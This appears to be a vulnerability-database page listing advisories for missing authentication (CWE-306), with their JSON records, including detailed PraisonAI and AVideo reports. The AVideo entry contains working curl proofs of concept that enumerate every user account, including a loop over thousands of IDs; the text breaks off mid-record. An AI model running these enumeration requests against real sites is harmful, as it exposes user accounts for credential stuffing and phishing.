Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3634 vulnerabilities reference this CWE, most recent first.

GHSA-6R8J-2F85-XR6C

Vulnerability from github – Published: 2024-10-17 18:31 – Updated: 2024-10-17 18:31
VLAI
Details

The affected product is vulnerable to an attacker being able to use commands without providing a password which may allow an attacker to leak information.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-49399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-17T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "The affected product is vulnerable to an attacker being able to use commands without providing a password which may allow an attacker to leak information.",
  "id": "GHSA-6r8j-2f85-xr6c",
  "modified": "2024-10-17T18:31:36Z",
  "published": "2024-10-17T18:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49399"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-291-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6RCH-QVRF-987H

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-60228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:24Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence.  Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-6rch-qvrf-987h",
  "modified": "2026-07-22T00:31:26Z",
  "published": "2026-07-22T00:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60228"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RHM-R8WQ-WGM6

Vulnerability from github – Published: 2022-03-11 00:02 – Updated: 2022-03-20 00:00
VLAI
Details

Power Line Communications PLC4TRUCKS J2497 trailer brake controllers implement diagnostic functions which can be invoked by replaying J2497 messages. There is no authentication or authorization for these functions.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-25922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-10T17:47:00Z",
    "severity": "CRITICAL"
  },
  "details": "Power Line Communications PLC4TRUCKS J2497 trailer brake controllers implement diagnostic functions which can be invoked by replaying J2497 messages. There is no authentication or authorization for these functions.",
  "id": "GHSA-6rhm-r8wq-wgm6",
  "modified": "2022-03-20T00:00:37Z",
  "published": "2022-03-11T00:02:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25922"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-063-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RJF-JV9R-JJ4V

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:30
VLAI
Details

Delta Electronics InfraSuite Device Master versions 00.00.01a and prior allow unauthenticated users to access the aprunning endpoint, which could allow an attacker to retrieve any file from the “RunningConfigs” directory. The attacker could then view and modify configuration files such as UserListInfo.xml, which would allow them to see existing administrative passwords.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-41629"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-31T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Delta Electronics InfraSuite Device Master versions 00.00.01a and prior allow unauthenticated users to access the aprunning endpoint, which could allow an attacker to retrieve any file from the \u201cRunningConfigs\u201d directory. The attacker could then view and modify configuration files such as UserListInfo.xml, which would allow them to see existing administrative passwords.",
  "id": "GHSA-6rjf-jv9r-jj4v",
  "modified": "2024-04-04T05:30:04Z",
  "published": "2023-07-06T19:24:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41629"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-298-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RMH-7XCM-CPXJ

Vulnerability from github – Published: 2026-05-11 13:56 – Updated: 2026-05-11 13:56
VLAI
Summary
PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution
Details

Summary

PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.

Details

The vulnerable server is the shipped src/praisonai/api_server.py entrypoint.

The deploy subsystem keeps the same insecure authentication default:

For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.

Version scope:

  • v2.5.6 already ships the same src/praisonai/api_server.py implementation.
  • The current PyPI release on May 1, 2026 is 4.6.33, and it still ships the same unauthenticated server logic.

PoC

The following route-level reproduction was verified locally and proves that the shipped api_server.py exposes /agents and /chat without authentication.

  1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:
python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
  1. Execute the shipped src/praisonai/api_server.py under a minimal stub for praisonai.PraisonAI so only the server auth logic is exercised:
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types

stub = types.ModuleType("praisonai")

class DummyPraisonAI:
    def __init__(self, agent_file="agents.yaml"):
        self.agent_file = agent_file
    def run(self):
        return {"ran": True, "agent_file": self.agent_file}

stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub

path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)

client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
  1. Observed result:
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}

Both endpoints succeed without any Authorization header.

Impact

Any reachable caller can invoke the legacy API server's protected functionality without a token.

At minimum, this allows:

  • unauthenticated enumeration of the configured agent file through /agents
  • unauthenticated triggering of the locally configured agents.yaml workflow through /chat
  • repeated consumption of model/API quota and any other side effects performed by that workflow
  • exposure of whatever result PraisonAI.run() returns to the unauthenticated caller

This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.33"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.6"
            },
            {
              "fixed": "4.6.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-306",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T13:56:16Z",
    "nvd_published_at": "2026-05-08T14:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nPraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access `/agents` and trigger the configured `agents.yaml` workflow through `/chat` without providing a token.\n\n### Details\nThe vulnerable server is the shipped `src/praisonai/api_server.py` entrypoint.\n\n- `AUTH_ENABLED = False` and `AUTH_TOKEN = None` are hard-coded at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15).\n- `check_auth()` returns `True` whenever authentication is disabled, so both protected routes fail open by design at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18).\n- `POST /chat` only checks that the request JSON contains a `message` key and then runs `PraisonAI(agent_file=\"agents.yaml\").run()` at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31).\n- `GET /agents` is guarded by the same no-op authentication check and returns agent metadata at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:55)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66):55).\n- When launched directly, the same script binds to `0.0.0.0:8080` at [src/praisonai/api_server.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66).\n\nThe deploy subsystem keeps the same insecure authentication default:\n\n- `APIConfig` defaults `auth_enabled` to `False` in [[src/praisonai/praisonai/deploy/models.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).\n- The generated sample API deployment YAML recommends `host: 0.0.0.0` together with `auth_enabled: false` in [[src/praisonai/praisonai/deploy/schema.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).\n\nFor scope clarity: the newer `serve agents` command is safer by default, because it binds to `127.0.0.1` and supports `--api-key` in [[src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.\n\nVersion scope:\n\n- `v2.5.6` already ships the same `src/praisonai/api_server.py` implementation.\n- The current PyPI release on May 1, 2026 is `4.6.33`, and it still ships the same unauthenticated server logic.\n\n### PoC\nThe following route-level reproduction was verified locally and proves that the shipped `api_server.py` exposes `/agents` and `/chat` without authentication.\n\n1. From the repository root, create a throwaway environment with the server\u0027s direct Flask dependencies:\n\n```bash\npython3 -m venv /tmp/praisonai-ghsa-venv\n/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors\n```\n\n2. Execute the shipped `src/praisonai/api_server.py` under a minimal stub for `praisonai.PraisonAI` so only the server auth logic is exercised:\n\n```bash\n/tmp/praisonai-ghsa-venv/bin/python - \u003c\u003c\u0027PY\u0027\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nstub = types.ModuleType(\"praisonai\")\n\nclass DummyPraisonAI:\n    def __init__(self, agent_file=\"agents.yaml\"):\n        self.agent_file = agent_file\n    def run(self):\n        return {\"ran\": True, \"agent_file\": self.agent_file}\n\nstub.PraisonAI = DummyPraisonAI\nsys.modules[\"praisonai\"] = stub\n\npath = pathlib.Path(\"src/praisonai/api_server.py\").resolve()\nspec = importlib.util.spec_from_file_location(\"api_server_local\", path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\n\nclient = mod.app.test_client()\nprint(client.get(\"/agents\").status_code, client.get(\"/agents\").get_data(as_text=True))\nprint(client.post(\"/chat\", json={\"message\": \"hello\"}).status_code, client.post(\"/chat\", json={\"message\": \"hello\"}).get_data(as_text=True))\nPY\n```\n\n3. Observed result:\n\n```text\n200 {\"agent_file\":\"agents.yaml\",\"agents\":[\"default\"]}\n200 {\"response\":{\"agent_file\":\"agents.yaml\",\"ran\":true},\"status\":\"success\"}\n```\n\nBoth endpoints succeed without any `Authorization` header.\n\n### Impact\nAny reachable caller can invoke the legacy API server\u0027s protected functionality without a token.\n\nAt minimum, this allows:\n\n- unauthenticated enumeration of the configured agent file through `/agents`\n- unauthenticated triggering of the locally configured `agents.yaml` workflow through `/chat`\n- repeated consumption of model/API quota and any other side effects performed by that workflow\n- exposure of whatever result `PraisonAI.run()` returns to the unauthenticated caller\n\nThis is not the same as arbitrary prompt injection by itself, because the current `/chat` handler ignores the submitted `message` value and simply runs the configured workflow. The impact therefore depends on what the operator\u0027s `agents.yaml` is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.",
  "id": "GHSA-6rmh-7xcm-cpxj",
  "modified": "2026-05-11T13:56:16Z",
  "published": "2026-05-11T13:56:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution"
}

GHSA-6RQJ-RWR9-WWM7

Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:55
VLAI
Details

Several web pages provided SAP NetWeaver Process Integration (versions: SAP_XIESR: 7.10 to 7.11, 7.20, 7.30, 7.31, 7.40, 7.50 and SAP_XITOOL: 7.10 to 7.11, 7.30, 7.31, 7.40, 7.50) are not password protected. An attacker could access landscape information like host names, ports or other technical data in the absence of restrictive firewall and port settings.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-0312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-12T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Several web pages provided SAP NetWeaver Process Integration (versions: SAP_XIESR: 7.10 to 7.11, 7.20, 7.30, 7.31, 7.40, 7.50 and SAP_XITOOL: 7.10 to 7.11, 7.30, 7.31, 7.40, 7.50) are not password protected. An attacker could access landscape information like host names, ports or other technical data in the absence of restrictive firewall and port settings.",
  "id": "GHSA-6rqj-rwr9-wwm7",
  "modified": "2024-04-04T00:55:31Z",
  "published": "2022-05-24T16:47:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0312"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2744086"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=521864242"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RVW-7P8V-MJFQ

Vulnerability from github – Published: 2026-05-05 22:02 – Updated: 2026-05-13 14:20
VLAI
Summary
AVideo: Unauthenticated User Enumeration in objects/users.json.php via isCompany Parameter Allows Bypass of the Admin-Only Listing Restriction
Details

Summary

objects/users.json.php exposes two unauthenticated paths that disclose the full set of registered user accounts. The isCompany request parameter causes the handler to set $ignoreAdmin = true for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside User::getAllUsers()/User::getTotalUsers(). A second path accepts users_id and calls User::getUserFromID() directly with no permission check, producing a single-user oracle. Both paths return id, identification (display name), channel URL, photo, background, and status, plus the total account count.

Details

Root cause #1 — isCompany admin bypass

objects/users.json.php:13-53 (HEAD, v29.0):

$canAdminUsers = canAdminUsers();                                    // line 13 — for output filtering only
...
if (!empty($_REQUEST['users_id'])) {
    $user = User::getUserFromID($_REQUEST['users_id']);              // path #2
    ...
} else if (empty($_REQUEST['user_groups_id'])) {
    $isAdmin     = null;
    $isCompany   = null;
    $ignoreAdmin = canSearchUsers() ? true : false;
    ...
    if (isset($_REQUEST['isCompany'])) {                              // line 39
        $isCompany = intval($_REQUEST['isCompany']);
        if (!$canAdminUsers) {
            if (User::isACompany()) { $isCompany = 0; }
            else                    { $isCompany = 1; }
            $ignoreAdmin = true;                                      // line 47 — bypass flag
        }
    }
    ...
    $users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);
    $total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);
}

User::isACompany() with no argument (objects/user.php:1629-1646) returns !empty($_SESSION['user']['is_company']), which is false for unauthenticated visitors. So the anonymous-attacker branch takes the else arm: $isCompany = 1; $ignoreAdmin = true;.

The admin-only guards in User::getAllUsers() (objects/user.php:2315-2321) and User::getTotalUsers() (objects/user.php:2480-2484) are now short-circuited:

public static function getAllUsers($ignoreAdmin = false, ...) {
    if (!Permissions::canAdminUsers() && !$ignoreAdmin) {   // $ignoreAdmin === true → guard skipped
        _error_log('You are not admin and cannot list all users');
        return false;
    }
    ...
    $sql = "SELECT * FROM users u WHERE 1=1 ...";
    if (isset($isCompany)) {
        if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {
            $sql .= " AND is_company = $isCompany ";
        } else {
            $sql .= " AND (is_company = 0 OR is_company IS NULL) ";
        }
    }

Note: when the attacker supplies isCompany=0, the else branch is taken because of PHP's operator precedence (!empty($isCompany) && ... short-circuits to false), and the SQL filter becomes is_company = 0 OR is_company IS NULL — i.e. every non-company user. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied rowCount.

Root cause #2 — users_id single-record oracle

objects/users.json.php:20-29 calls User::getUserFromID($_REQUEST['users_id']) with no auth check. User::getUserFromID() (objects/user.php:2028-2075) queries SELECT * FROM users WHERE id = ? and returns id, identification, photo, background, status, channelName, about, tags, with only password/recoverPass/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with total = 1 when the user exists and total = 0 otherwise — a perfect sequential-ID existence oracle.

Why there is no blocking mitigation

  • No router-level auth: the .htaccess rewrite (.htaccess:317) maps /users.json directly to this file.
  • No CSRF/origin gate: the file is explicitly listed in objects/functionsSecurity.php:893 under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design.
  • The output-filter block (objects/users.json.php:66-77) only limits which fields are echoed — it does not suppress existence or display-name leakage, and total is always echoed on line 97.
  • rowCount is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).

PoC

Target: a default AVideo 29.0 install at http://target/. No session cookie, no CSRF token, no API key required.

Path 1 — bulk listing via isCompany admin-check bypass

$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000&current=1'
{"current":1,"rowCount":1000,"total":42,"rows":[
  {"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png",
   "background":"https://target/...","status":"a","creator":"<div ...channel URL...>"},
  {"id":"2","identification":"alice",...,"status":"a",...},
  ...
]}

The same call with isCompany=1 returns the subset of company-flagged users; isCompany=0 returns all non-company users. Both branches set $ignoreAdmin = true.

Path 2 — sequential-ID existence / display-name oracle

$ for i in $(seq 1 10000); do
    curl -s "http://target/objects/users.json.php?users_id=$i" \
      | jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'
  done
1   1   admin   a
1   2   alice   a
0   null    null    null
1   4   bob i
...

total=1 → ID exists; identification field leaks the login/display name; status reveals active (a) vs inactive (i).

Verification of the branch logic

// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.
$canAdminUsers = false; $ignoreAdmin = false;
$_SESSION = [];                      // unauthenticated
$_REQUEST = ['isCompany' => '1'];
if (isset($_REQUEST['isCompany'])) {
    $isCompany = intval($_REQUEST['isCompany']);
    if (!$canAdminUsers) {
        $isACompany = !empty($_SESSION['user']['is_company']);   // false
        $isCompany   = $isACompany ? 0 : 1;
        $ignoreAdmin = true;
    }
}
var_dump($isCompany, $ignoreAdmin);  // int(1) bool(true)  → admin guard SKIPPED

Impact

An unauthenticated remote attacker can:

  • Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).
  • Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.
  • Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.
  • Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.

No auth is required, the request is a single unauthenticated GET, and rowCount is unbounded, so the full user list can be harvested in one request.

Recommended Fix

  1. Require authentication at the top of objects/users.json.php, and gate the bulk-listing path to users who legitimately need to search:

    php require_once $global['systemRootPath'] . 'objects/user.php'; User::loginCheck(); // reject anonymous callers if (!canSearchUsers()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); }

  2. Remove the isCompany-driven $ignoreAdmin = true branch (users.json.php:41-48). It served no purpose that the explicit canSearchUsers() check above does not already cover, and its only observable effect is the bypass described here.

  3. Gate the users_id path behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:

    php if (!empty($_REQUEST['users_id'])) { $requestedId = intval($_REQUEST['users_id']); if (!canSearchUsers() && $requestedId !== User::getId()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } $user = User::getUserFromID($requestedId); ... }

  4. Consider clamping $_REQUEST['rowCount'] to a sane ceiling (e.g. 100) and removing objects/users.json.php from the CSRF-bypass list in objects/functionsSecurity.php:893 unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:02:35Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`, plus the total account count.\n\n## Details\n\n### Root cause #1 \u2014 `isCompany` admin bypass\n\n`objects/users.json.php:13-53` (HEAD, v29.0):\n\n```php\n$canAdminUsers = canAdminUsers();                                    // line 13 \u2014 for output filtering only\n...\nif (!empty($_REQUEST[\u0027users_id\u0027])) {\n    $user = User::getUserFromID($_REQUEST[\u0027users_id\u0027]);              // path #2\n    ...\n} else if (empty($_REQUEST[\u0027user_groups_id\u0027])) {\n    $isAdmin     = null;\n    $isCompany   = null;\n    $ignoreAdmin = canSearchUsers() ? true : false;\n    ...\n    if (isset($_REQUEST[\u0027isCompany\u0027])) {                              // line 39\n        $isCompany = intval($_REQUEST[\u0027isCompany\u0027]);\n        if (!$canAdminUsers) {\n            if (User::isACompany()) { $isCompany = 0; }\n            else                    { $isCompany = 1; }\n            $ignoreAdmin = true;                                      // line 47 \u2014 bypass flag\n        }\n    }\n    ...\n    $users = User::getAllUsers($ignoreAdmin, [...], @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n    $total = User::getTotalUsers($ignoreAdmin, @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n}\n```\n\n`User::isACompany()` with no argument (`objects/user.php:1629-1646`) returns `!empty($_SESSION[\u0027user\u0027][\u0027is_company\u0027])`, which is `false` for unauthenticated visitors. So the anonymous-attacker branch takes the `else` arm: `$isCompany = 1; $ignoreAdmin = true;`.\n\nThe admin-only guards in `User::getAllUsers()` (`objects/user.php:2315-2321`) and `User::getTotalUsers()` (`objects/user.php:2480-2484`) are now short-circuited:\n\n```php\npublic static function getAllUsers($ignoreAdmin = false, ...) {\n    if (!Permissions::canAdminUsers() \u0026\u0026 !$ignoreAdmin) {   // $ignoreAdmin === true \u2192 guard skipped\n        _error_log(\u0027You are not admin and cannot list all users\u0027);\n        return false;\n    }\n    ...\n    $sql = \"SELECT * FROM users u WHERE 1=1 ...\";\n    if (isset($isCompany)) {\n        if (!empty($isCompany) \u0026\u0026 $isCompany == self::$is_company_status_ISACOMPANY || ...) {\n            $sql .= \" AND is_company = $isCompany \";\n        } else {\n            $sql .= \" AND (is_company = 0 OR is_company IS NULL) \";\n        }\n    }\n```\n\nNote: when the attacker supplies `isCompany=0`, the `else` branch is taken because of PHP\u0027s operator precedence (`!empty($isCompany) \u0026\u0026 ...` short-circuits to false), and the SQL filter becomes `is_company = 0 OR is_company IS NULL` \u2014 i.e. **every non-company user**. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied `rowCount`.\n\n### Root cause #2 \u2014 `users_id` single-record oracle\n\n`objects/users.json.php:20-29` calls `User::getUserFromID($_REQUEST[\u0027users_id\u0027])` with no auth check. `User::getUserFromID()` (`objects/user.php:2028-2075`) queries `SELECT * FROM users WHERE id = ?` and returns `id`, `identification`, `photo`, `background`, `status`, `channelName`, `about`, `tags`, with only `password`/`recoverPass`/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with `total = 1` when the user exists and `total = 0` otherwise \u2014 a perfect sequential-ID existence oracle.\n\n### Why there is no blocking mitigation\n\n- No router-level auth: the `.htaccess` rewrite (`.htaccess:317`) maps `/users.json` directly to this file.\n- No CSRF/origin gate: the file is explicitly listed in `objects/functionsSecurity.php:893` under \u201cRead-only endpoints that accept POST params\u201d, meaning the 